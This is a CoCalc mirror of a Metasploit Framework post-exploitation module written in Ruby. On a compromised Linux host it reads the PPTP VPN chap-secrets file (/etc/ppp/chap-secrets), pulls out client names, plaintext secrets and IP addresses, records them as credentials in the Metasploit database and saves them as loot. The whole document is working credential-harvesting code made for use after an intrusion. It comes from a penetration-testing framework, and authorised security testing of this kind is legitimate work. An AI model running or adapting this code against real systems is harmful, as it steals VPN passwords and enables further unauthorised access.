CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/pptpd_chap_secrets.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials',
15
'Description' => %q{
16
This module collects PPTP VPN information such as client, server, password,
17
and IP from your target server's chap-secrets file.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [ 'sinn3r'],
21
'Platform' => [ 'linux' ],
22
'SessionTypes' => [ 'shell', 'meterpreter' ]
23
)
24
)
25
26
register_options(
27
[
28
OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets'])
29
]
30
)
31
end
32
33
#
34
# Reads chap_secrets
35
#
36
def load_file(fname)
37
begin
38
data = read_file(fname)
39
rescue Rex::Post::Meterpreter::RequestError => e
40
print_error("Failed to retrieve file. #{e.message}")
41
data = ''
42
end
43
fail_with(Failure::BadConfig, "The file #{fname} does not exist or is not a readable file!") unless data
44
return data
45
end
46
47
def report_cred(opts)
48
service_data = {
49
address: opts[:ip],
50
port: opts[:port],
51
service_name: opts[:service_name],
52
protocol: 'tcp',
53
workspace_id: myworkspace_id
54
}
55
56
credential_data = {
57
module_fullname: fullname,
58
post_reference_name: refname,
59
session_id: session_db_id,
60
origin_type: :session,
61
private_data: opts[:password],
62
private_type: :password,
63
username: opts[:user]
64
}.merge(service_data)
65
66
login_data = {
67
core: create_credential(credential_data),
68
status: Metasploit::Model::Login::Status::UNTRIED
69
}.merge(service_data)
70
71
create_credential_login(login_data)
72
end
73
74
#
75
# Extracts client, server, secret, and IP addresses
76
#
77
def extract_secrets(data)
78
tbl = Rex::Text::Table.new({
79
'Header' => 'PPTPd chap-secrets',
80
'Indent' => 1,
81
'Columns' => ['Client', 'Server', 'Secret', 'IP']
82
})
83
84
data.each_line do |l|
85
# If this line is commented out, ignore it
86
next if l =~ /^[[:blank:]]*#/
87
88
found = l.split
89
90
# Nothing is found, skip!
91
next if found.empty?
92
93
client = (found[0] || '').strip
94
server = (found[1] || '').strip
95
secret = (found[2] || '').strip
96
ip = (found[3, found.length] * ', ' || '').strip
97
98
report_cred(
99
ip: session.session_host,
100
port: 1723, # PPTP port
101
service_name: 'pptp',
102
user: client,
103
password: secret
104
)
105
106
tbl << [client, server, secret, ip]
107
end
108
109
if tbl.rows.empty?
110
print_status("This file has no secrets: #{datastore['FILE']}")
111
else
112
print_line(tbl.to_s)
113
114
p = store_loot(
115
'linux.chapsecrets.creds',
116
'text/csv',
117
session,
118
tbl.to_csv,
119
File.basename(datastore['FILE'] + '.txt')
120
)
121
print_good("Secrets stored in: #{p}")
122
end
123
end
124
125
def run
126
fname = datastore['FILE']
127
f = load_file(fname)
128
extract_secrets(f)
129
end
130
131
end
132
133